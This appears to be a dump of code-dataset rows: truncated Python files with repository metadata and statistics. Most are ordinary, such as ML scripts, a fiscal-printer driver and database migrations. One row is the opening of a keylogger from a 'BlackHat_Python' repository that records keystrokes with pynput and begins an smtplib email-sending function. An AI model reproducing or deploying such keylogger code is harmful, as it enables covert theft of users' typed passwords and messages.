# TODO - we should add all the certificates to trusted CA's to make t... | 39.15 | 148 | 0.611909 | 763 | 6,264 | 4.868938 | 0.273919 | 0.030148 | 0.019381 | 0.022611 | 0.258681 | 0.217227 | 0.185734 | 0.185734 | 0.166891 | 0.124361 | 0 | 0.022641 | 0.287835 | 6,264 | 159 | 149 | 39.396226 | 0.810132 | 0.372286 | 0 | 0.202899 | 0 | 0 | 0.059574 | 0.006241 | 0 | 0 | 0 | 0.006289 | 0 | 1 | 0.115942 | false | 0.057971 | 0.057971 | 0 | 0.26087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
705165e7c6fdb75df88bf7be0d1fedad62f6fd38 | 1,718 | py | Python | kaggle-otto/randomforest.py | ryanswanstrom/Sense.io-Projects | a911529384a1cd7a7d7218bf5a8a71eec1920884 | [
"MIT"
] | null | null | null | kaggle-otto/randomforest.py | ryanswanstrom/Sense.io-Projects | a911529384a1cd7a7d7218bf5a8a71eec1920884 | [
"MIT"
] | null | null | null | kaggle-otto/randomforest.py | ryanswanstrom/Sense.io-Projects | a911529384a1cd7a7d7218bf5a8a71eec1920884 | [
"MIT"
] | null | null | null | """
Beating the benchmark
Otto Group product classification challenge @ Kaggle
__author__ : Abhishek Thakur
"""
import pandas as pd
from sklearn import ensemble, feature_extraction, preprocessing
import zipfile
import random
def zip_it(outfile):
print('writing zip')
archive = zipfile.ZipFile... | 26.030303 | 84 | 0.662398 | 210 | 1,718 | 5.27619 | 0.447619 | 0.016245 | 0.024368 | 0.019856 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009848 | 0.231665 | 1,718 | 65 | 85 | 26.430769 | 0.829545 | 0.093714 | 0 | 0 | 0 | 0 | 0.12035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.138889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7053f441dace0cf5b26bb8e8e02ed7b62bbad0be | 436 | py | Python | src/utils/YamlUtil.py | greatCouple/automation-py | 83f660881a74f984671e286efd2aee1881d6eb1d | [
"Apache-2.0"
] | null | null | null | src/utils/YamlUtil.py | greatCouple/automation-py | 83f660881a74f984671e286efd2aee1881d6eb1d | [
"Apache-2.0"
] | null | null | null | src/utils/YamlUtil.py | greatCouple/automation-py | 83f660881a74f984671e286efd2aee1881d6eb1d | [
"Apache-2.0"
] | null | null | null | from ProjectPath import work_path
import yaml, os
class YamlUtil:
@staticmethod
def read(fileName):
file = work_path + "/config/" + fileName + '.yaml'
print(file)
if os.path.exists(file):
pass
else:
raise FileNotFoundError('配置文件不存在')
with open(fi... | 21.8 | 58 | 0.587156 | 49 | 436 | 5 | 0.693878 | 0.065306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.302752 | 436 | 19 | 59 | 22.947368 | 0.805921 | 0 | 0 | 0 | 0 | 0 | 0.09633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0.066667 | 0.133333 | 0 | 0.333333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
705b1683cc71483b3f4c55e5df5b05cc77fa02d9 | 884 | py | Python | BlackHat_Python/basic_keylogger/my_key_logger.py | w1sd0m-404/BlackHat_Python | 76d5280aba64c9e8c30a536ab94aef6557532474 | [
"MIT"
] | null | null | null | BlackHat_Python/basic_keylogger/my_key_logger.py | w1sd0m-404/BlackHat_Python | 76d5280aba64c9e8c30a536ab94aef6557532474 | [
"MIT"
] | null | null | null | BlackHat_Python/basic_keylogger/my_key_logger.py | w1sd0m-404/BlackHat_Python | 76d5280aba64c9e8c30a536ab94aef6557532474 | [
"MIT"
] | null | null | null | import smtplib
import threading
import pynput
log=""
def callback_function(key):
global log
try:
log=log+key.char.encode("utf-8")
except AttributeError:
if key == key.space:
log=log + " "
else:
log=log+str(key)
print(log)
def send_ema... | 23.891892 | 72 | 0.665158 | 107 | 884 | 5.308411 | 0.448598 | 0.096831 | 0.06338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008785 | 0.227376 | 884 | 37 | 73 | 23.891892 | 0.82284 | 0 | 0 | 0.133333 | 0 | 0 | 0.050648 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.1 | 0.1 | 0 | 0.2 | 0.033333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
7063c1563287f6a5af8b2a0e854c1181022a23fc | 4,906 | py | Python | B2G/gecko/config/Expression.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | 3 | 2015-08-31T15:24:31.000Z | 2020-04-24T20:31:29.000Z | B2G/gecko/js/src/config/Expression.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | null | null | null | B2G/gecko/js/src/config/Expression.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | 3 | 2015-07-29T07:17:15.000Z | 2020-11-04T06:55:37.000Z | # This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
"""
Parses and evaluates simple statements for Preprocessor:
Expression currently supports the following grammar, white... | 27.717514 | 80 | 0.641663 | 646 | 4,906 | 4.650155 | 0.30805 | 0.054927 | 0.039947 | 0.01498 | 0.135819 | 0.108189 | 0.04261 | 0.026631 | 0 | 0 | 0 | 0.006976 | 0.240318 | 4,906 | 176 | 81 | 27.875 | 0.799034 | 0.093559 | 0 | 0.241758 | 0 | 0 | 0.034494 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.010989 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
706c2fad9e15bedcbedd0279ed7fb078678e2fe4 | 1,387 | py | Python | plenum/test/view_change/test_master_primary_different_from_previous.py | jandayanan/indy-plenum | 2815e994404c77ad87eddcfd09062d5fe6efc1c5 | [
"Apache-2.0"
] | 148 | 2017-07-11T19:05:25.000Z | 2022-03-16T21:31:20.000Z | plenum/test/view_change/test_master_primary_different_from_previous.py | jandayanan/indy-plenum | 2815e994404c77ad87eddcfd09062d5fe6efc1c5 | [
"Apache-2.0"
] | 561 | 2017-06-29T17:59:56.000Z | 2022-03-09T15:47:14.000Z | plenum/test/view_change/test_master_primary_different_from_previous.py | jandayanan/indy-plenum | 2815e994404c77ad87eddcfd09062d5fe6efc1c5 | [
"Apache-2.0"
] | 378 | 2017-06-29T17:45:27.000Z | 2022-03-26T07:27:59.000Z | import types
import pytest
from plenum.test.helper import checkViewNoForNodes, \
sdk_send_random_and_check, countDiscarded
from plenum.test.malicious_behaviors_node import slow_primary
from plenum.test.test_node import getPrimaryReplica, ensureElectionsDone
from plenum.test.view_change.helper import provoke_and_w... | 34.675 | 95 | 0.761355 | 181 | 1,387 | 5.596685 | 0.458564 | 0.05923 | 0.055281 | 0.031589 | 0.126357 | 0.055281 | 0 | 0 | 0 | 0 | 0 | 0.004405 | 0.181687 | 1,387 | 39 | 96 | 35.564103 | 0.888106 | 0.214852 | 0 | 0 | 0 | 0 | 0.020716 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 1 | 0.052632 | false | 0 | 0.368421 | 0 | 0.421053 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
707124655b60050b5759ac079ffc269e0cdae533 | 2,038 | py | Python | GoogleSearchKeyword/__init__.py | imaging8896/google-parse | ba94168349361e80cb4e75aca7ba1d7590947fad | [
"MIT"
] | null | null | null | GoogleSearchKeyword/__init__.py | imaging8896/google-parse | ba94168349361e80cb4e75aca7ba1d7590947fad | [
"MIT"
] | null | null | null | GoogleSearchKeyword/__init__.py | imaging8896/google-parse | ba94168349361e80cb4e75aca7ba1d7590947fad | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from xgoogle.search import GoogleSearch
import time
import random
import re
DEFAULT_SEARCH_AMOUNT = 30
class GoogleSearchKeyword(GoogleSearch):
def get_keywords(self):
keywords = {}
self.results_per_page = DEFAULT_SEARCH_AMOUNT
soup = self._search_and_get_soup()
... | 34.542373 | 94 | 0.562316 | 251 | 2,038 | 4.378486 | 0.386454 | 0.036397 | 0.050046 | 0.043676 | 0.216561 | 0.216561 | 0.069154 | 0.069154 | 0.069154 | 0.069154 | 0 | 0.00979 | 0.298332 | 2,038 | 58 | 95 | 35.137931 | 0.758741 | 0.035329 | 0 | 0.085106 | 0 | 0 | 0.073357 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.085106 | null | null | 0.106383 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7073005bdf5886558efd1d8a69ce279ef2756a47 | 2,468 | py | Python | eelbrain/_experiment/tests/test_definitions.py | christianbrodbeck/Eelbrain | 0c24abcc382abb590c062b8bc683f749265f564f | [
"BSD-3-Clause"
] | 32 | 2015-04-05T15:38:55.000Z | 2022-03-12T02:35:09.000Z | eelbrain/_experiment/tests/test_definitions.py | christianbrodbeck/Eelbrain | 0c24abcc382abb590c062b8bc683f749265f564f | [
"BSD-3-Clause"
] | 22 | 2015-07-14T14:55:44.000Z | 2022-03-15T17:46:11.000Z | eelbrain/_experiment/tests/test_definitions.py | christianbrodbeck/Eelbrain | 0c24abcc382abb590c062b8bc683f749265f564f | [
"BSD-3-Clause"
] | 29 | 2015-04-23T13:51:09.000Z | 2021-08-12T11:28:21.000Z | # Author: Christian Brodbeck <christianbrodbeck@nyu.edu>
import pytest
from eelbrain._experiment import test_def
from eelbrain._experiment.definitions import DefinitionError, find_dependent_epochs, find_epoch_vars, find_epochs_vars
def test_find_epoch_vars():
assert find_epoch_vars({'sel': "myvar == 'x'"}) == {'... | 44.872727 | 118 | 0.547407 | 318 | 2,468 | 4.028302 | 0.201258 | 0.026542 | 0.084309 | 0.112412 | 0.377049 | 0.311475 | 0.23185 | 0.193599 | 0.154567 | 0.154567 | 0 | 0 | 0.231767 | 2,468 | 54 | 119 | 45.703704 | 0.675633 | 0.047407 | 0 | 0.073171 | 0 | 0 | 0.175843 | 0.011524 | 0 | 0 | 0 | 0 | 0.439024 | 1 | 0.04878 | false | 0 | 0.073171 | 0 | 0.121951 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
707d3ee851ab7a11924e4de17f520399d920fbdd | 1,316 | py | Python | samples/tar/tar.py | ecmwf/servicelib | 257e3a05465cca012c3ff87762a20d54601a8689 | [
"Apache-2.0"
] | 2 | 2020-03-13T12:02:32.000Z | 2021-12-15T18:09:31.000Z | samples/tar/tar.py | ecmwf/servicelib | 257e3a05465cca012c3ff87762a20d54601a8689 | [
"Apache-2.0"
] | null | null | null | samples/tar/tar.py | ecmwf/servicelib | 257e3a05465cca012c3ff87762a20d54601a8689 | [
"Apache-2.0"
] | 1 | 2020-03-13T12:02:42.000Z | 2020-03-13T12:02:42.000Z | # (C) Copyright 2020- ECMWF.
#
# This software is licensed under the terms of the Apache Licence Version 2.0
# which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
#
# In applying this licence, ECMWF does not waive the privileges and immunities
# granted to it by virtue of its status as an intergovernme... | 27.416667 | 87 | 0.670213 | 180 | 1,316 | 4.688889 | 0.505556 | 0.058057 | 0.047393 | 0.047393 | 0.189573 | 0.189573 | 0.120853 | 0.120853 | 0.120853 | 0.120853 | 0 | 0.008671 | 0.211246 | 1,316 | 47 | 88 | 28 | 0.804432 | 0.275836 | 0 | 0.333333 | 0 | 0 | 0.084746 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291667 | false | 0 | 0.125 | 0.083333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
70822eb869de6d52899cb52d525dfc8097e45134 | 3,065 | py | Python | scripts/plot_associations.py | aryarm/str_ase | a3c1484986bdbb9466251fc4121f57b8a9df865e | [
"MIT"
] | 1 | 2021-04-12T00:20:38.000Z | 2021-04-12T00:20:38.000Z | scripts/plot_associations.py | aryarm/str_ase | a3c1484986bdbb9466251fc4121f57b8a9df865e | [
"MIT"
] | 2 | 2020-11-02T03:53:29.000Z | 2020-11-29T01:38:33.000Z | scripts/plot_associations.py | aryarm/str_ase | a3c1484986bdbb9466251fc4121f57b8a9df865e | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import sys
import argparse
import matplotlib
import numpy as np
import pandas as pd
matplotlib.use('Agg')
from pathlib import Path
import matplotlib.pyplot as plt
def get_ase(ase_fname):
"""parse the ASE TSV for the top n most promising str-tissue pairs"""
ase = pd.read_csv(
ase... | 32.606383 | 87 | 0.590212 | 432 | 3,065 | 4.06713 | 0.402778 | 0.040979 | 0.031873 | 0.019351 | 0.070575 | 0.070575 | 0.070575 | 0.070575 | 0.070575 | 0.070575 | 0 | 0.008921 | 0.268516 | 3,065 | 93 | 88 | 32.956989 | 0.774755 | 0.158891 | 0 | 0.041667 | 0 | 0 | 0.271909 | 0 | 0 | 0 | 0 | 0.010753 | 0 | 1 | 0.055556 | false | 0 | 0.097222 | 0 | 0.180556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7087cff596020c75cf716a03973c5b1fc61080f3 | 617 | py | Python | migrations/versions/0652cec5760d_.py | tferreira/piggydime | 5f43d909d7770016ec19763d41e1fb8845d63bae | [
"MIT"
] | 8 | 2017-05-12T11:39:36.000Z | 2020-12-08T10:42:49.000Z | migrations/versions/0652cec5760d_.py | tferreira/piggydime | 5f43d909d7770016ec19763d41e1fb8845d63bae | [
"MIT"
] | 68 | 2017-05-08T20:58:19.000Z | 2022-02-26T12:24:08.000Z | migrations/versions/0652cec5760d_.py | tferreira/piggydime | 5f43d909d7770016ec19763d41e1fb8845d63bae | [
"MIT"
] | 2 | 2020-12-08T10:42:52.000Z | 2021-04-10T22:53:45.000Z | """empty message
Revision ID: 0652cec5760d
Revises: 5b42ffd710c5
Create Date: 2017-06-05 21:06:37.398984
"""
# revision identifiers, used by Alembic.
revision = '0652cec5760d'
down_revision = '5b42ffd710c5'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - ... | 22.851852 | 86 | 0.698541 | 74 | 617 | 5.783784 | 0.581081 | 0.063084 | 0.098131 | 0.107477 | 0.205607 | 0.205607 | 0.205607 | 0.205607 | 0 | 0 | 0 | 0.097466 | 0.168558 | 617 | 26 | 87 | 23.730769 | 0.736842 | 0.471637 | 0 | 0 | 0 | 0 | 0.1843 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
708a3ae93e5bc12a03f22aa65ccb5aa6595bbcc6 | 338 | py | Python | src/sql_user.py | RichardOkubo/PythonScripts | 86090465f739a2fc3f1f8ef22977efd241f97361 | [
"MIT"
] | null | null | null | src/sql_user.py | RichardOkubo/PythonScripts | 86090465f739a2fc3f1f8ef22977efd241f97361 | [
"MIT"
] | null | null | null | src/sql_user.py | RichardOkubo/PythonScripts | 86090465f739a2fc3f1f8ef22977efd241f97361 | [
"MIT"
] | null | null | null | from pprint import pprint
from dml import delete, insert, select, update
insert('Regis', '98989898', 'regis_@gmail.com')
insert('Fabricio', '98989898', 'fabricio_@gmail.com')
insert('Mazinho', '98989898', 'mazinho_@gmail.com')
update('Fabricião', 'fabricio_@gmail.com')
delete('regis_@gmail.com')
pprint(select('pho... | 24.142857 | 53 | 0.724852 | 42 | 338 | 5.714286 | 0.380952 | 0.166667 | 0.108333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103896 | 0.088757 | 338 | 13 | 54 | 26 | 0.675325 | 0 | 0 | 0 | 0 | 0 | 0.455621 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7091cf49eeefa05a083406959fbff3ffb6787bdc | 6,662 | py | Python | lino_vilma/lib/vilma/fixtures/linotickets.py | khchine5/vilma | 0d6c6a923713ebffdbaec5a8801a7cb9dd8ed4b1 | [
"BSD-2-Clause"
] | null | null | null | lino_vilma/lib/vilma/fixtures/linotickets.py | khchine5/vilma | 0d6c6a923713ebffdbaec5a8801a7cb9dd8ed4b1 | [
"BSD-2-Clause"
] | null | null | null | lino_vilma/lib/vilma/fixtures/linotickets.py | khchine5/vilma | 0d6c6a923713ebffdbaec5a8801a7cb9dd8ed4b1 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: UTF-8 -*-
# Copyright 2014-2015 Luc Saffre
# License: BSD (see file COPYING for details)
from __future__ import print_function
from __future__ import unicode_literals
import logging
logger = logging.getLogger(__name__)
import datetime
from unipath import Path
from lino.api import rt
TICKETS = """
#1... | 36.604396 | 78 | 0.71435 | 969 | 6,662 | 4.883385 | 0.607843 | 0.008453 | 0.006974 | 0.008876 | 0.015638 | 0.015638 | 0 | 0 | 0 | 0 | 0 | 0.054593 | 0.202642 | 6,662 | 181 | 79 | 36.80663 | 0.83622 | 0.016512 | 0 | 0 | 0 | 0 | 0.783718 | 0.00336 | 0 | 0 | 0 | 0 | 0.006211 | 1 | 0.006211 | false | 0.006211 | 0.049689 | 0 | 0.055901 | 0.006211 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
709e250bfb41ff15e47217f950375751598da413 | 1,382 | py | Python | simple_sum.py | buckbaskin/data-1 | a9d9dd62778c1c0568cea572cb97cbf16e76a1b2 | [
"MIT"
] | null | null | null | simple_sum.py | buckbaskin/data-1 | a9d9dd62778c1c0568cea572cb97cbf16e76a1b2 | [
"MIT"
] | 17 | 2015-10-28T17:34:24.000Z | 2016-07-06T06:26:55.000Z | simple_sum.py | buckbaskin/data-1 | a9d9dd62778c1c0568cea572cb97cbf16e76a1b2 | [
"MIT"
] | null | null | null | from trace_nums import setup_data_workspace, DataInt, DataFloat
from trace_calculation import Calculation
setup_data_workspace()
class StudentAverage(Calculation):
def __init__(self):
super(StudentAverage, self).__init__()
self.set_data(0,0)
def set_data(self, score, count):
self.sco... | 24.245614 | 63 | 0.635311 | 191 | 1,382 | 4.376963 | 0.303665 | 0.050239 | 0.092105 | 0.07177 | 0.167464 | 0.131579 | 0.107656 | 0.107656 | 0 | 0 | 0 | 0.030564 | 0.242402 | 1,382 | 57 | 64 | 24.245614 | 0.767908 | 0 | 0 | 0 | 0 | 0 | 0.109183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.047619 | null | null | 0.261905 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
70a327bcd8cfd320e9eddeb4128ec59837488e7a | 1,145 | py | Python | examples/session.py | ddbeck/oraide | dd7a4f0b70ccc488cabbe041e4945c379144aa90 | [
"BSD-3-Clause"
] | null | null | null | examples/session.py | ddbeck/oraide | dd7a4f0b70ccc488cabbe041e4945c379144aa90 | [
"BSD-3-Clause"
] | 3 | 2018-07-26T17:45:15.000Z | 2018-07-26T17:45:51.000Z | examples/session.py | ddbeck/oraide | dd7a4f0b70ccc488cabbe041e4945c379144aa90 | [
"BSD-3-Clause"
] | 1 | 2018-03-04T20:46:41.000Z | 2018-03-04T20:46:41.000Z | """A demonstration of the ``Session`` API."""
from __future__ import print_function
import oraide
EARNESTNESS = """\
ALGERNON: Well, that is exactly what dentists always do. Now, go on!
Tell me the whole thing. I may mention that I have always
suspected you of being a confirmed and secret Bunbur... | 26.627907 | 72 | 0.662009 | 168 | 1,145 | 4.422619 | 0.60119 | 0.040377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.243668 | 1,145 | 42 | 73 | 27.261905 | 0.857968 | 0.034061 | 0 | 0 | 0 | 0 | 0.628182 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.071429 | 0 | 0.107143 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
70a52dd9039ec124a8dc708fa4ef7847f799aba1 | 21,480 | py | Python | Comandos/HasarComandos.py | daycrom/fiscalberry | 305248e720587753ad65db1aac0339aea30e9c0c | [
"Apache-2.0"
] | 43 | 2017-04-18T01:26:02.000Z | 2022-03-12T14:00:28.000Z | Comandos/HasarComandos.py | daycrom/fiscalberry | 305248e720587753ad65db1aac0339aea30e9c0c | [
"Apache-2.0"
] | 83 | 2017-04-07T14:38:26.000Z | 2022-03-31T22:45:56.000Z | Comandos/HasarComandos.py | daycrom/fiscalberry | 305248e720587753ad65db1aac0339aea30e9c0c | [
"Apache-2.0"
] | 40 | 2017-04-25T13:39:19.000Z | 2022-03-12T14:00:50.000Z | # -*- coding: iso-8859-1 -*-
import string
import types
from Comandos.ComandoFiscalInterface import ComandoFiscalInterface
from Drivers.FiscalPrinterDriver import PrinterException
from ComandoInterface import formatText, ComandoException
NUMBER = 999990
import logging
logger = logging.getLogger(__name__)
... | 38.42576 | 136 | 0.561592 | 2,169 | 21,480 | 5.346704 | 0.204703 | 0.056911 | 0.070449 | 0.081573 | 0.411055 | 0.347417 | 0.292489 | 0.251358 | 0.21747 | 0.198586 | 0.000605 | 0.020689 | 0.333939 | 21,480 | 558 | 137 | 38.494624 | 0.788984 | 0.067505 | 0 | 0.311111 | 0 | 0 | 0.112937 | 0.030151 | 0 | 0 | 0.006468 | 0 | 0 | 0 | null | null | 0.015556 | 0.013333 | null | null | 0.008889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
70a76fb71873d6f8519f302273a36a0602d532e2 | 568 | py | Python | tbx/core/migrations/0041_auto_20160707_1223.py | arush15june/wagtail-torchbox | c4d06e096c72bd8007975dc016133024f9d27fab | [
"MIT"
] | null | null | null | tbx/core/migrations/0041_auto_20160707_1223.py | arush15june/wagtail-torchbox | c4d06e096c72bd8007975dc016133024f9d27fab | [
"MIT"
] | null | null | null | tbx/core/migrations/0041_auto_20160707_1223.py | arush15june/wagtail-torchbox | c4d06e096c72bd8007975dc016133024f9d27fab | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.2 on 2016-07-07 11:23
from django.db import migrations
import django.db.models.deletion
import modelcluster.fields
class Migration(migrations.Migration):
dependencies = [
('torchbox', '0040_auto_20160707_1218'),
]
operations = [
migrati... | 24.695652 | 146 | 0.661972 | 64 | 568 | 5.765625 | 0.6875 | 0.065041 | 0.075881 | 0.119241 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071749 | 0.214789 | 568 | 22 | 147 | 25.818182 | 0.755605 | 0.117958 | 0 | 0 | 1 | 0 | 0.156627 | 0.046185 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5613151a81366ce4bf35fb01810588a0aa0008cd | 542 | py | Python | abhisek/Integer_to_String.py | abhisek-technicise/Python-Training | 35d773b529bd6f3961787c9ddb54c4a1e8cc227a | [
"MIT"
] | 1 | 2017-09-20T18:28:19.000Z | 2017-09-20T18:28:19.000Z | abhisek/Integer_to_String.py | backup1-technicise/Python-Training | 35d773b529bd6f3961787c9ddb54c4a1e8cc227a | [
"MIT"
] | 3 | 2017-06-16T07:01:57.000Z | 2017-06-16T07:31:05.000Z | abhisek/Integer_to_String.py | backup1-technicise/Python-Training | 35d773b529bd6f3961787c9ddb54c4a1e8cc227a | [
"MIT"
] | null | null | null | '''Write a Python program to converting an integer to a string in 16 base.'''
def Deci_to_Hex(number):
if number < 16:
if number in range(0, 10):
return str(number)
else:
return Hex_system[number]
else:
rem = number % 16
number /= 16
return Deci_... | 25.809524 | 85 | 0.590406 | 83 | 542 | 3.73494 | 0.542169 | 0.058065 | 0.087097 | 0.096774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064103 | 0.280443 | 542 | 20 | 86 | 27.1 | 0.730769 | 0.02214 | 0 | 0.142857 | 0 | 0 | 0.068889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5614a8bee58155b1a514766f6036fd43f3e8517b | 4,026 | py | Python | models/rr_detector.py | flymin/Rectified-Rejection | 58bfd0ee159cbcbebdda2da068984e6edf8b61ec | [
"Apache-2.0"
] | null | null | null | models/rr_detector.py | flymin/Rectified-Rejection | 58bfd0ee159cbcbebdda2da068984e6edf8b61ec | [
"Apache-2.0"
] | null | null | null | models/rr_detector.py | flymin/Rectified-Rejection | 58bfd0ee159cbcbebdda2da068984e6edf8b61ec | [
"Apache-2.0"
] | null | null | null | import math
import torch
import torch.nn as nn
from torchvision.transforms import Normalize
import logging
from misc.utils import judge_thresh
